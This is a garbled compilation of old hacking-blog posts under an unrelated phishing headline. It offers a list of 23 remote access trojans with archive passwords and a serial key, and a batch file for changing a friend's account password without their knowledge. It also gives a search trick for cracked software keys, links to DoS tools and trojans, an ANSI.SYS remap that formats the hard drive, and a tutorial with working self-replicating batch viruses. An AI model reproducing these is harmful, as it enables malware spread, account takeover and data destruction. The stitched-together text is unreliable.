Beware of the phishing net ... don't click on any suspicious links in your email Photograph: Genius

What is phishing, and how to defend against it

Phishing is "the act of defrauding an online account holder of information by posing as a legitimate company", according to the dictionary. Most people will already be familiar with it through the stream of spam emails arriving in their inboxes pretending that there has been a "security update" to their bank, credit card, online shop or similar system.

NOTE: RATs usually are detected as a trojans and viruses, but I guarantee you that they are NOT infected, as long as you don't run the bot servers on your computer.

1. Cerberus 1.03.4 BETA
Screenshot: http://i45.tinypic.com/fx9uz9.jpg
Download link:

2. Turkojan 4 GOLD
Screenshot: http://i47.tinypic.com/2vls87s.jpg
Download link:


3. Apocalypse 1.4.4
Screenshot: http://i48.tinypic.com/2ljmgkn.jpg
Download link:

4. Spy-Net 2.6
Screenshot: http://i45.tinypic.com/sc43t1.jpg
Download link:
Rar password: Spy-Net

5. Pro Rat v1.9
Screenshot: http://i46.tinypic.com/14o20px.jpg
Download link:
Rar password: oksa52wq
Username: mohdjase1 Serial: 66618e869accfc4f96

6. Poison Ivy 2.3.2
Screenshot: http://i35.tinypic.com/2lvfthg.gif
Download link:

7. Bandook Rat v1.35
Screenshot: http://i45.tinypic.com/116lx13.jpg
Download link:
Rar password: NWC

8. Bifrost v1.2
Screenshot: http://i47.tinypic.com/24n2vcn.jpg
Download link:

9. CyberGate v.1.01.0
Screenshot: http://i45.tinypic.com/sena09.jpg
Download link:

10. Lost Door v4.2 LIGHT
Screenshot: http://i36.tinypic.com/6gbnk8.jpg
Download link:

11. Beast 2.07
Screenshot: http://i45.tinypic.com/rrlesh.jpg
Download link:

12. Shark v3.0.0
Screenshot: http://i50.tinypic.com/2zpkwpk.jpg
Download link:

13. Sub7 v2.2
Screenshot: http://i49.tinypic.com/25oyt6o.jpg
Download link:
Password : http://www.sub7legends.com

14. Pain RAT v0.1
Screenshot: http://i50.tinypic.com/14ag3zo.jpg
Download link:

15. xHacker Pro v3.0
Screenshot: http://i38.tinypic.com/2qnunb4.png
Download link:

16. Seed v1.1
Screenshot: http://i46.tinypic.com/34dqzw0.jpg
Download link:

17. Optix Pro v1.33
Screenshot: http://i48.tinypic.com/x5w9rr.jpg
Download link:

18. Darkmoon v4.11
Screenshot: http://i47.tinypic.com/m58j4.jpg
Download link:

19. CIA v1.3
Screenshot: http://i48.tinypic.com/x2juo3.jpg
Download link:

20. Y3k RAT v1.0
Screenshot: http://i50.tinypic.com/f19idt.jpg
Download link:

21. MiniMo RAT v0.7
Screenshot: http://i46.tinypic.com/8x77l5.jpg
Download link:

22. NetDevil v1.2
Screenshot: http://i50.tinypic.com/28jyydl.jpg
Download link:

23. Deeper RAT v1.0
Screenshot: http://i45.tinypic.com/33dh9py.jpg
Download link:


Please try At Your Own risk and These Tools are only for ETHICAL Purposes.
Thanks

* How to find a crack for softwares in google?

* It is soo simple first write the product name in search bar but be careful before writing the product name you must have to put "the" and then product name and after that "94fbr"(It must be enclosed in inverted commas otherwise it won't work at all)

* For example

* the avst professional 4.6"94fbr"

* It is really amazing and simple trick!!! Try to find your software key by above method and you will understand what I mean.Did you finnnd your product key???

Yeah its a really big story behind this hack,
I was just wandering here and there on the net,
and then something tickled in my head that, How cool it would it would be
if i have my box talking and telling me stats of the computer just for fun
It would also produce that hacker felling in to and would be so cool to Show OFF !!

After few rounds of Mine on internet on searching on Google i couldn't
Find on it but then i thought to code it because there was no choice left for me
So i just picked my laptop and got with VBS.
Its really cool to code on vbs because its really simple and easy,
So i just went on with it
and produces this little hope you all like its :)

Just Follow these Simple Steps :-

1. Open Notepad.
2. Copy the following code and paste in the notepad.


Do
Dim msg, sapi
msg="Welcome to The World of hacking this is special hack introduced by Xpert hackers Thankyou-Genius Hacker"
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg
loop
talk
3. Save it as Talker.vbs.
4. Then RUN it.
5. And WOOOOSH…………!!!!!
6. The Computer starting to talk by it self.
7. You can also edit it if you want to talk anything else ;)

For that just Edit the content of msg=" # " In second line of this code.

8. If you wan to stop it,its really simple just Follow the steps :-

a. Hit CTRL + ALT + DEL >> that will open the task manager.
b. Choose Processes TAB >> to view the running processes.talk
c. Find wbscript.exe in the list,Select it and the Hit End Process Button.

9. And then Enjoy !!

Some think you would like to know to grow your knowledge !!

Speech Application Programming Interface (SAPI) is an audio interface that was developed to use within Windows operating systems, the idea behind SAPI was to make possible the use of speech synthesis and recognition within the function of various Windows applications


Its really cool to SHOW OFF in front of others,
as to show them that you are a great hacker
a screen saver of matrix would be like a desert on it !!!
Download
Its really a small hack i use to in my free time.
Just wanted to share with you Guys !!

Well Happy Hacking !!

So today you’ll be learning to Hide your Drives & make them truly invisible to others:
As you know, everything that I write is in an ordered form…:

1. Go to ‘Run’ (Ctrl+R) and type ‘diskpart’, its one of the hidden tools of Windoze.
2. There you type ‘list volume’. You get a bunch of Drives and their asigned letters along with some other info.
3. For the drive you want to hide, note down the LTR (literally ‘letter’) and the ‘Volume ###’.
4. Now type ’select [volume ### here]‘ then you get a message saying that “[volume ### here] is the selected volume”.
5. Type ‘remove letter [ltr here]‘ and if you get a message after that saying “DiskPart successfully removed the drive letter or mount point” then you’re done!
6. Now the drive is invisible and you cannot access it…
7. To get the drive back. Go to “DiskPart” again and choose the drive volume and select it and type ‘assign letter [whatever letter it was or you want it to be here]‘ and yup, you get your drive back….

HidE YouR PrivatE FileS WithiN ThE DrivE IN A GENIUS hACK'S STYLE

Fish!!! you deleted your orkut account or it was hacked and deleted by your rival or enemy. I know it feels too bad even mine was deleted due to same reasons. Your entire friend list including scraps, fans, crushlist, messages, photos collections, videos collection is lost. But no need to worry, my blog
is
your well wisher. It will help you to recover your account or at the least recover your collection on it. According to Google’s policy, the deleted account cannot be recovered but surely the collection on it can be recovered. Vouch you it is possible. Just you have to do is open a new account by visiting www.orkut.com and click on the link JOIN NOW.
If you already have a google account just enter your google information and click on SIGN IN. You’ll be asked to create your orkut profile. By going on google help you just have to enter your profile url there, your email id and other required information. Your data will be recovered within 14 business days. For more help you can visit

http://help.orkut.com/bin/answer.py?hl=en&answer=11600

hi friends,

We all copy various data by using ctrl+c/Copy for pasting elsewhere.
This copied data is stored on clipboard and is accessible over the net by a combination of Javascripts and ASP.

Just try this:
1) Copy any text by ctrl+c
2) Click the Link: http://www.friendlycanadian.com/applications/clipboard.htm
3) You will see the text you copied on the Screen which was
accessed by this web page.

Moral:
Do not keep sensitive data (like passwords, creditcard numbers, PIN etc.) in the clipboard while surfing the web. It is extremely easy to extract the text stored in the clipboard to steal your sensitive information. If sufficient data is stored by mistake it would give away confidential and important information without you knowing about it.

To Avoid This
To avoid this, follow these steps:

1. Go to internet options->security

2. Press custom level

3. In the security settings, select disable under Allow paste operations via script.
Now the contents of your clipboard are safe.

Pass this information on to create an awareness of the same.

Safe Browsing,
Cheers.

Using the below given tips you can change the password of an user account in your friend’s system.

1. Open notepad.

2. Type the following command.

@echo off

net user username password

echo “type message here” pause

3. Save as filename.bat and select type of files as all files otherwise, file didn’t work.

4. Send file to your friend through any messenger.

You have successfully managed to change the Password of an user account.

--: Port Scanners :--

Nmap :- This tool developed by Fyodor is one of the best unix and windows based port scanners. This advanced port scanner has a number of useful arguments that gives user a lot of control over the process.

http://www.insecure.org/nmap



Superscan :- A Windows-only port scanner, pinger, and resolver
SuperScan is a free Windows-only closed-source TCP/UDP port scanner by Foundstone. It includes a variety of additional networking tools such as ping, traceroute, http head, and whois.

http://www.foundstone.com/



Angry IP Scanner :- A fast windows IP scanner and port scanner. Angry IP Scanner can perform basic host discovery and port scans on Windows. Its binary file size is very small compared to other scanners and other pieces of information about the target hosts can be extended with a few plugins.

http://www.angryziber.com/ipscan/



Unicornscan :- Unicornscan is an attempt at a User-land Distributed TCP/IP stack for information gathering and correlation. It is intended to provide a researcher a superior interface for introducing a stimulus into and measuring a response from a TCP/IP enabled device or network. Some of its features include asynchronous stateless TCP scanning with all variations of TCP flags, asynchronous stateless TCP banner grabbing, and active/passive remote OS, application, and component identification by analyzing responses.

http://www.unicornscan.org/



--: O.S. Fingerprinting Tools :--

Nmap :- This tool developed by Fyodor is one of the best unix and windows based active os fingerprinting tool.

http://www.insecure.org/nmap



P0f :- A passive OS fingerprinting tool. P0f is able to identify the operating system of a target host simply by examining captured packets even when the device in question is behind an overzealous packet firewall.P0f can detect firewall presence, NAT use, existence of load balancers, and more!

http://lcamtuf.coredump.cx/p0f.shtml




Xprobe2 :- Active OS fingerprinting tool. XProbe is a tool for determining the operating system of a remote host. They do this using some of the same techniques as Nmap as well as some of their own ideas. Xprobe has always emphasized the ICMP protocol in its fingerprinting approach.

http://www.sys-security.com/index.php?page=xprobe


--: Password Crackers :--

Cain and Abel :- The top password recovery tool for Windows. This Windows-only password recovery tool handles an enormous variety of tasks. It can recover passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.

http://www.oxid.it/cain.html



John the Ripper :- A powerful, flexible, and fast multi-platform password hash cracker. John the Ripper is a fast password cracker, currently available for many flavors of Unix, DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches.

http://www.openwall.com/john/



THC Hydra :- A Fast network authentication cracker which support many different services. When you need to brute force crack a remote authentication service, Hydra is often the tool of choice. It can perform rapid dictionary attacks against more then 30 protocols, including telnet, ftp, http, https, smb, several databases, and much more.

http://www.thc.org/thc-hydra/



L0phtcrack :- Windows password auditing and recovery application
L0phtCrack, also known as LC5, attempts to crack Windows passwords from hashes which it can obtain (given proper access) from stand-alone Windows NT/2000 workstations, networked servers, primary domain controllers, or Active Directory. In some cases it can sniff the hashes off the wire. It also has numerous methods of generating password guesses (dictionary, brute force, etc).

http://www.l0pht.com

RainbowCrack :- An Innovative Password Hash Cracker.
The RainbowCrack tool is a hash cracker that makes use of a large-scale time-memory trade-off. A traditional brute force cracker tries all possible plaintexts one by one, which can be time consuming for complex passwords. RainbowCrack uses a time-memory trade-off to do all the cracking-time computation in advance and store the results in so-called "rainbow tables". It does take a long time to precompute the tables but RainbowCrack can be hundreds of times faster than a brute force cracker once the precomputation is finished.

http://www.antsight.com/zsl/rainbowcrack/



Brutus :- A network brute-force authentication cracker
This Windows-only cracker bangs against network services of remote systems trying to guess passwords by using a dictionary and permutations thereof. It supports HTTP, POP3, FTP, SMB, TELNET, IMAP, NTP, and more.

http://www.hoobie.net/brutus/



Nessus :- Premier UNIX vulnerability assessment tool
Nessus is the best free network vulnerability scanner available, and the best to run on UNIX at any price. It is constantly updated, with more than 11,000 plugins for the free (but registration and EULA-acceptance required) feed. Key features include remote and local (authenticated) security checks, a client/server architecture with a GTK graphical interface, and an embedded scripting language for writing your own plugins or understanding the existing ones.

http://www.nessus.org/



GFI LANguard :- A commercial network security scanner for Windows
GFI LANguard scans IP networks to detect what machines are running. Then it tries to discern the host OS and what applications are running. I also tries to collect Windows machine's service pack level, missing security patches, wireless access points, USB devices, open shares, open ports, services/applications active on the computer, key registry entries, weak passwords, users and groups, and more. Scan results are saved to an HTML report, which can be customized/queried. It also includes a patch manager which detects and installs missing patches.

http://www.gfi.com/lannetscan/



Retina :- Commercial vulnerability assessment scanner by eEye
Like Nessus, Retina's function is to scan all the hosts on a network and report on any vulnerabilities found. It was written by eEye, who are well known for their security research.

http://www.eeye.com/html/Products/Retina/index.html



Core Impact :- An automated, comprehensive penetration testing product. it is widely considered to be the most powerful exploitation tool available. It sports a large, regularly updated database of professional exploits, and can do neat tricks like exploiting one machine and then establishing an encrypted tunnel through that machine to reach and exploit other boxes.

http://www.coresecurity.com/products/coreimpact/

ISS Internet Scanner :- Application-level vulnerability assessment
Internet Scanner started off in '92 as a tiny open source scanner by Christopher Klaus. Now he has grown ISS into a billion-dollar company with a myriad of security products.

http://www.iss.net/products_services/enterprise_protection
/vulnerability_assessment/scanner_internet.php





--: Packet Sniffers :--

Ethereal :- This (also known as Wireshark) is a fantastic open source network protocol analyzer for Unix and Windows. It allows you to examine data from a live network or from a capture file on disk. You can interactively browse the capture data, delving down into just the level of packet detail you need. Ethereal has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session. It also supports hundreds of protocols and media types.

http://www.ethereal.com/



Kismet :- A powerful wireless sniffer. Kismet is a console based 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. It identifies networks by passively sniffing, and can even decloak hidden networks if they are in use. It can automatically detect network IP blocks by sniffing TCP, UDP, ARP, and DHCP packets, log traffic in Wireshark/TCPDump compatible format, and even plot detected networks and estimated ranges on downloaded maps.

http://www.kismetwireless.net/



Tcpdump :- The classic sniffer for network monitoring and data acquisition. It is great for tracking down network problems or monitoring activity. There is a separate Windows port named WinDump. TCPDump is the source of the Libpcap/WinPcap packet capture library.

http://www.tcpdump.org/



Ettercap :- Ettercap is a terminal-based network sniffer/interceptor/logger for ethernet LANs. It supports active and passive dissection of many protocols (even ciphered ones, like ssh and https). Data injection in an established connection and filtering on the fly is also possible, keeping the connection synchronized. Many sniffing modes were implemented to give you a powerful and complete sniffing suite. Plugins are supported. It has the ability to check whether you are in a switched LAN or not, and to use OS fingerprints (active or passive) to let you know the geometry of the LAN.

http://ettercap.sourceforge.net/

Dsniff :- A suite of powerful network auditing and penetration-testing tools. This popular and well-engineered suite by Dug Song includes many tools. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.). arpspoof, dnsspoof, and macof facilitate the interception of network traffic normally unavailable to an attacker (e.g, due to layer-2 switching). sshmitm and webmitm implement active monkey-in-the-middle attacks against redirected ssh and https sessions by exploiting weak bindings in ad-hoc PKI. Overall, this is a great toolset. It handles pretty much all of your password sniffing needs.

http://www.monkey.org/~dugsong/dsniff/




--: Encryption Tools :--

GnuPG / PGP :- Secure your files and communication with the advanced encryption. PGP is the famous encryption program by Phil Zimmerman which helps secure your data from eavesdroppers and other risks. GnuPG is a very well-regarded open source implementation of the PGP standard (the actual executable is named gpg). While GnuPG is always free, PGP costs money for some uses.

http://www.gnupg.org/
http://www.pgp.com/



OpenSSL :- The premier SSL/TLS encryption library. The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, full-featured, and open source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. The project is managed by a worldwide community of volunteers that use the Internet to communicate, plan, and develop the OpenSSL toolkit and its related documentation.

http://www.openssl.org/



Tor :- An anonymous Internet communication system Tor is a toolset for a wide range of organizations and people that want to improve their safety and security on the Internet. Using Tor can help you anonymize web browsing and publishing, instant messaging, irc, ssh, and other applications that use the TCP protocol. Tor also provides a platform on which software developers can build new applications with built-in anonymity, safety, and privacy features.

http://tor.eff.org/



Stunnel :- A general-purpose SSL cryptographic wrapper. The stunnel program is designed to work as an SSL encryption wrapper between remote client and local or remote server. It can be used to add SSL functionality to commonly used inetd daemons like POP2, POP3, and IMAP servers without any changes in the programs' code.

http://www.stunnel.org/

OpenVPN :- A full-featured SSL VPN solution. OpenVPN is an open-source SSL VPN package which can accommodate a wide range of configurations, including remote access, site-to-site VPNs, WiFi security, and enterprise-scale remote access solutions with load balancing, failover, and fine-grained access-controls. OpenVPN implements OSI layer 2 or 3 secure network extension using the industry standard SSL/TLS protocol, supports flexible client authentication methods based on certificates, smart cards, and/or 2-factor authentication, and allows user or group-specific access control policies using firewall rules applied to the VPN virtual interface. OpenVPN uses OpenSSL as its primary cryptographic library.

http://openvpn.net/



TrueCrypt :- Open-Source Disk Encryption Software for Windows and Linux. TrueCrypt is an excellent open source disk encryption system. Users can encrypt entire filesystems, which are then on-the-fly encrypted/decrypted as needed without user intervention beyond entering their passphrase intially. A clever hidden volume feature allows you to hide a 2nd layer of particularly sensitive content with plausible deniability about whether it exists. Then if you are forced to give up your passphrase, you give them the first-level secret. Even with that, attackers cannot prove that a second level key even exists.

http://www.truecrypt.org/



Ankit Fadia Certified Ethical Hacker (AFCEH) 3.0
AFCEH TOP HACKING TOOLS LIST*
Information Gathering
Nmap http://nmap.org/
RemOS http://www.zoneh.
org/component/option,com_remository/Itemid,47/func,download/id,4215/chk,9e10fc8dccdcd4f0
17e372247cc8fa31
P0f lcamtuf.coredump.cx/p0f.shtml
MingSweepe
r
http://www.hoobie.net/mingsweeper/
THC Amap http://freeworld.thc.org/thc-amap/
Angry IP
Scanner
http://www.angryziber.com/w/Download
Unicornscan http://sourceforge.net/projects/osace
Samspade http://samspade.org/
Strobe http://packetstormsecurity.org/UNIX/scanners/strobe-1.04.tgz
Netcat http://netcat.sourceforge.net/
Superscan http://www.foundstone.com/us/resources/proddesc/superscan.htm
SQL Scan http://www.foundstone.com/us/resources/proddesc/sqlscan.htm
ipEye http://www.ntsecurity.nu/toolbox/ipeye/
Nuke
Nabber
http://packetstormsecurity.org/MSDOS/audit/nn29b.exe
Snort http://www.snort.org
Trout http://www.foundstone.com/us/resources/proddesc/trout.htm
Hping2 http://www.hping.org/
XProbe2 http://www.sys-security.com/index.php?page=xprobe
EtherPeek
(now known
OmniPeek)
http://www.wildpackets.com/
DDOSPing http://www.foundstone.com/us/resources/proddesc/ddosping.htm
Proxy Servers
Wingate http://www.wingate.com/
WinProxy http://www.winproxy.com/
MultiProxy http://www.multiproxy.org/
Socks Chain
Proxy
http://www.sockschain.com/socks/
DOS Attacks
Trin00 Google Search
TFN http://packetstormsecurity.org/groups/mixter/tfn.tgz
Stacheldraht http://packetstormsecurity.org/distributed/stachel.tgz
Sniffers
Tcpdump http://sourceforge.net/projects/tcpdump/
Ethereal http://www.wireshark.org/download.html
DSniff http://monkey.org/~dugsong/dsniff/
Password Cracking
Brutus http://www.hoobie.net/brutus/brutus-download.html
Ankit Fadia Certified Ethical Hacker (AFCEH) 3.0
L0phtcrack http://packetstormsecurity.org/NT/audit/l0phtcrack.zip
100+ Types
of Passwords
http://www.lostpassword.com/
Cain and
Abel
http://www.oxid.it/cain.html
John the
Ripper
http://www.openwall.com/john/
THC Hydra http://www.thc.org/thc-hydra/
Tracing Tools
Visualroute http://visualroute.visualware.com
EmailTracke
rPro
http://www.emailtrackerpro.com
3D
Traceroute
http://www.d3tr.de/
NeoTrace http://download1us.softpedia.com/dl/4d61efc43ee174753225f758e8908c8f/488c61d5/100000042/
software/network/mvt325_30-Day.zip
Firewalk http://www.packetfactory.net/projects/firewalk/
Trojans
Netbus http://packetstormsecurity.org/trojans/NetBus170.zip
Girlfriend http://packetstormsecurity.org/trojans/gf135.zip
Back
Orrifice
http://www.bo2k.com/
HoneyPots
Back Officer
Friendly
http://www.nfr.com/products/bof/
Specter http://www.specter.com/
Honeyd http://www.honeyd.org/
Honeytrap http://honeytrap.sourceforge.net/
Sebek https://projects.honeynet.org/sebek/
Nepenthes http://www.mwcollect.org/
Misc
True Crypt http://www.truecrypt.org/
SysInternals http://technet.microsoft.com/en-us/sysinternals/0e18b180-9b7a-4c49-
8120-c47c5a693683.aspx
Tripwire http://www.tripwire.com/
Netcat http://www.vulnwatch.org/netcat/
Restoration http://www.snapfiles.com/download/dlrestoration.html
Security Audit
Nessus http://www.nessus.org/
GFI
Languard
http://www.gfi.com/lannetscan/
Retina http://www.eeye.com/html/products/retina/index.html
Core Impact http://www.coresecurity.com/
ISS Internet
Scanner
http://www.iss.net/
Ankit Fadia Certified Ethical Hacker (AFCEH) 3.0
SAINT http://www.saintcorporation.com/saint/
SARA http://www-arc.com/sara/
Paros Proxy http://www.parosproxy.org/
Wikto http://www.sensepost.com/research/wikto/
Whisker http://www.wiretrip.net/rfp/
Linux
Knoppix http://www.knoppix.net/
Ubuntu http://www.ubuntu.com/
PCLinuxOS http://www.pclinuxos.com/
Shell Accounts
http://www.prunk.be/mediawiki/index.php/Free_List
http://freeshell.vilasta.com/freeshellaccount.html
http://www.freeshells.info/
http://www.ductape.net/~mitja/freeunix.shtml
*This list includes the most popular and much needed tools, utilities and software that all computer security
enthusiasts must play and experiment with. If you wish to recommend, suggest or contribute your favorite
tools to this list, then please email me at fadia.ankit@gmail.com. The subject of the email should be
AFCEH Top Hacking Tool and the body/message should contain your favorite software tool and its
download link/URL.

RapidShare CAPTCHA has always been hacked no matter how tough they made it. Usually whenever RapidShare updates their CAPTCHA, it only took a few days for third party download tools to auto recognize it. One of the toughest CAPTCHA was with cats and dogs in them and it took 3-4 weeks to be cracked. A few days after the cats and dogs CAPTCHA has been cracked, RapidShare installed a new CAPTCHA system called TEABAG_3D.




The TEABAG_3D is developed by OCR Research Team and they are a bunch of CAPTCHA hackers too. They claim that after defeating several CAPTCHAs, they decided to make a CAPTCHA which is hard to break. I’ve been in communication with the developers of CryptLoad and jDownloader to keep track of the progress in defeating the latest 3D CAPTCHA in RapidShare. They were in 50% progress and suddenly RapidShare decided to eliminate the captchas to simplify the use of RapidShare’s free services significantly but with a catch that the download speed limit has been limited to 500kilobits per second, that is only 62.5KBps.

1. CryptLoad

- The interface is in English and configurations is not complicated. Other than downloading from RapidShare, it can also support downloading from many other One-Click hoster such as megaupload, gigasize, depositfiles and etc. Currently CryptLoad can only run on Windows with Microsoft .NET Framework and the next major update version 2 should support Mac OS and Linux as well. Supports automatic updates.
[ Download CryptLoad ]

2. JDownloader
- This tool has not been mentioned here before but I now tell you that this is a really good downloading tool for one-click-hosters website. JDownloader is open source, platform independent and written completely in Java. It simplifies downloading files from One-Click-Hosters like Rapidshare.com or Megaupload.com - not only for users with a premium account but also for users who don’t pay. It offers downloading in multiple parallel streams, captcha recognition, automatically file extraction and much more. Of course, JDownloader is absolutely free of charge. Additionally, many “link encryption” sites are supported - so you just paste the “encrypted” links and JD does the rest. Because it is written in Java, you can run JDownloader on Windows, Mac OS and Linux. Support automatic updates. Try it and you’ll love it!

[ Download jDownloader ]

3. CandiSoft Load!
- Load! also has not been mentioned at this blog before. The interface is in German but it shouldn’t be too hard to understand as some words are pretty similar to English. You can always make use of Google Translate to help you translate from German to English. Runs on Windows and supports automatic updates. It also supports other one-click-hosters such as megaupload, netload.in, uploaded.to and etc.
[ Download CandiSoft Load! ]


4. RS Downloader
- This tool has been mentioned at this blog before and the interface is in German. It runs on Windows, supports automatic updates and can only download from RapidShare. Can also automatic decrypt and recognized encrypted rapidshare links using YouCrypt plugin.
[ Download RS Downloader ]

5. Universal Share Downloader (USDownloader)
- USDownloader is another popular and powerful one-click-hoster download manager. It supports a lot of free hosting services, including the most popular ones like RapidShare, MegaUpload or YouSendIt. You can select up to 26 types of languages for the program’s interface and it runs on Windows. When want to do an update on USDownloader, you’ll have to use the server http://usd.cap-cap.ru/ because the one in the list doesn’t work.
Download USDownloader ]

Netcat is a really great tool installed on almost all UNIX based systems, even on most windows systems. Here you'll find some examples of what you can do with this great tool.

On UNIX based systems, the tool is usually called netcat, but on some systems it also may be called nc. On Windows, you'll find the nc.exe binary in C:\WINDOWS\system32.

Remember, on UNIX based systems you have to be root in order to listen on sockets with a port number less that 1024.
Spoofing a HTTP Request

Find out which headers your browser would normally send to a web site by pointing your browser to http://localhost:3333 after having set up the listener:

netcat -lp 3333

After that, establish a connection to the website you want to send the spoofed headers to and paste the modified headers:

netcat www.example.com 80

Note that a HTTP request is finished by and empty line, meaning two newlines.
Chatting

You can do some very basic chatting with netcat. To do this, User A has to set up a netcat listener:

netcat -vlp 3333

User B can then connect to this server with the following command, where IP is AA's IP;

netcat IP 3333

As soon as user B has connected A will get a notice and they can start chatting.
Transferring a File

On the destination side a listener which writes anything he receives to a file has to be set up:

netcat -lp 3333 > file

The sender issues the following command, where file is the file he wants to send and IP is the destination IP.

cat file | netcat -w 1 IP 3333

Getting System Information

netcat can also be used to obtain information about a system. The system which is to be monitored just sets up a listener which, whenever another program connects, sends the output of uptime. As soon as netcat terminates (that is, when a connection has been terminated) it'll be restarted:

while `netcat -lp 3333 -e /usr/bin/uptime`;do;done

The user who wants to obtain system information has to issue the following command:

netcat IP 3333


Setting up a (very minimal) webserver

You can set up netcat to act as a very basic webserver which can just serve one file:

while `netcat -lp 8080 -c 'echo HTTP/1.0 200 OK';echo;cat file`;do;done

Doing Local Port Forwards

This command would forward every request on port 8080 to port 80:

while `netcat -lp 8080 -c 'netcat localhost 80'`;do;done

Part 1: Introduction


This document is written for lamerz in batch language. This explains the true basics of batch file programming. Even experienced programmers could probably learn a thing or to from this document. Now back in the good old days batch files were quite popular among virus writers because of the sheer simplicity of them. But people now days have been guided to Pascal, Delphi and C++. Those mentioned are very good and powerful programming languages but I don't know about you but I think they are boring and hard to cope with. Batch is the language for YOU! Simple to pick up and powerful at the same time. Now if you want to learn batch then keep reading other wise go back to watching Eastenders. Ok people you are the chosen ones.... Continue to the next part.



Part 2: Basic commands

Now there are loads of commands you should already know which are used in DOS. But if you dont know DOS I suggest you go get a book out from your local library and read your ass off because that is the only way to learn.

Commands listed below I hope you should already know: -

Command.com
Find.exe
Choice.com
Attrib.exe
Mem.exe
More.com
Sort.exe

Filz you should know about are: -

Autoexec.bat (especially this one would help)
Config.sys
Msdos.sys
Tmpdelis.bat
Dosstart.bat
win.ini
System.ini

Now filz such as these will help you in your understanding of batch language.

I will explain what each one does and how it can be used, are you ready...-

Command.com = the command interpreter, dos needs this to function!
Find.exe = can be used to search through almost anything for anything! (More on that later)
Choice.com = used for menu system functions e.g. a/b/c?
Attrib.exe = sets attributes on filz to make them read only or hidden
Mem.exe = Tells you about memory resources
More.com = More on this later :)
Sort.exe = Sorts data (not to sure on this one)
Autoexec.bat = start-up file processes functions and drivers needed
Config.sys = start-up file processes functions and drivers needed
Msdos.sys = same as above but go look in this one, it is interesting, go on play a little.
Tmpdelis.bat = is a windows batch file go look inside for more info...
Dosstart.bat = windows batch file used for dosprompt to load.
Win.ini/system.ini = windows initiation filz play with these and say good by to Winblows 95/98/NT

Heres some more details about some of the DOS commands:

FIND.EXE = This command is very powerful indeed. Yet to the everyday ignorant user this file means nothing! This file can search through files for specific words, through memory for specific files (tsr's) and through the bios for date, time day etc... This means i could if i wanted to see what the date is and if it is my specified date i could make my virus activate. You see where i am coming from now? It is a very powerful tool, for good and bad! In respect to the good side you could use this program to search through memory to find specific viruses such as the stoned and aircop virus, thus a virus detector!

CHOICE.COM = This file is not bad at all. It is for mainly menu systems in batch files, but can be used in other ways if the user wishes to. For instence this program can tell the difference between yes and no. It also has a delay sequence that you can activate, thus using it for timed viruses, e.g. Your Pc is going reset in 10 seconds.
This is a useful tool in viral programming, because you can get the user to activate the virus, by just pressing a key.

ANSI.SYS = This file is widley used in BFV's, it has unlimited use. Its main ability is that it can redirect keys to do commands, for example i could program the [a] key to format the hard drive. This is so powerful and dangerous, because it is so easy to do:

Prompt $e[97;"echo Y| format c:/u >nul";13p

Just that line could destroy the whole hard drive with out the user knowing. To use Ansi.sys it must be loaded into memory through config.sys file.

ATTRIB.EXE = This file is used in DOS for putting attributes on files making them read-only and/or hidden. Great concealment for bfv's.

Each command is some where along the line used in batch filz. But not all the time because they are not needed. For instance a simple batch file below, which asks the user to enter a password, needs no commands just pure batch language.

@Echo off
echo Enter password then [F6] and then smack the [Enter] key real hard!
prompt $e[30m
echo on
echo off
copy con password.dat>nul
prompt $e[0m
echo on
echo off
cls
copy password.set+password.dat password.bat>nul
call password.bat
if '%password%=='r3dhat goto done
echo Incorrect, you are not trying to break into my pc are you?
choice /t:y,3
if errorlevel 2 goto next
:next
erase password.bat
erase password.dat
:hello
cls
echo Turn off PC
goto hello
:done
erase password.dat
erase password.bat
set password=
prompt $p$g

Simple batch file, which asks the user for a password, and if they type it incorrect then the program will put them in an endless loop! Simple but effective. Other features; are that when typing the password the text colour is set to black so you cant see it then it resets the colour back to normal when finished. Erm...what else? Oh yeah it makes two files puts them together to make another batch file then runs it to set a variable into memory, then the password.bat file will look in memory to check what the user wrote to see if it is correct. Good thinking hey! Well experiment with this one can be interesting. Any bugs or improvements email me at linuxpir8@yahoo.com



Part 3: Viruses Explained

Now lets get one thing clear! A virus is not a program that gets on your hard drive by magic and then formats it.

A virus is a program, made to replicate/copy itself from one file to another. It can not infect files unless you RUN it! Most viruses come off disks or the NET and the user doesn't even realise until his MICROSOFT software decides it doesn't want to work anymore. (I THINK IT MIGHT BE BEST TO MENTION THAT I HATE MICROSOFT AND THE ONLY GOOD THING THAT HAS COME OF THEM IS MSDOS!)

Now despite my hatred towards Machosoft, i think that most viruses are aimed at Windows/x these days due to the mass numbers that use the O/S. But remember where there is Windows there is MSDOS!!! And where there is msdos there are batch filz and where there are batch filz there are my viruses.

A simple diagram: -

xxxxxxxxxxxxxx xxxxxxxxxxxxxx
x Mat156.bat x x mat156.bat x
xxxxxxxxxxxxxx xxxxxxxxxxxxxx
v virus v
vvvvvvvvvvvvvv
^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^
uninfected infected

That is the difference between the infected and the uninfected in batch filz.



Part 4: Simple Batch File Virus

Below I'm going to make up a virus then explain how it works. OK here goes....

Virus.bat

@echo off
ctty nul
for %%f in (*.bat) do copy %%f + virus.bat
ctty con

Thats it, simple infection routine that infects all batch filz in the current directory. This kind of infection is not popular among virus writers due to the way it infects. This virus will not only infect itself, but if it cant find anything to infect it will loop and re-infect all other batch filz all over again until all the memory or system resources are taken up. This is a bug but also a feature. It just appends itself on any batch file, lame but somewhat effective if used in the correct context. Try it out and play with it, as no real damage can occur. Mind you it is very quick, so if you leave it for ten seconds it probably will have infected other batch filz about 600 times. Batch file viruses are very fast. Im am now going to attempt to explain what each line does: -

@echo off - turns off the commands written in the program so the user cannot see what you are typing.
ctty nul - disables the keyboard and screen output, meaning you cant stop the virus unless you turn off your PC.
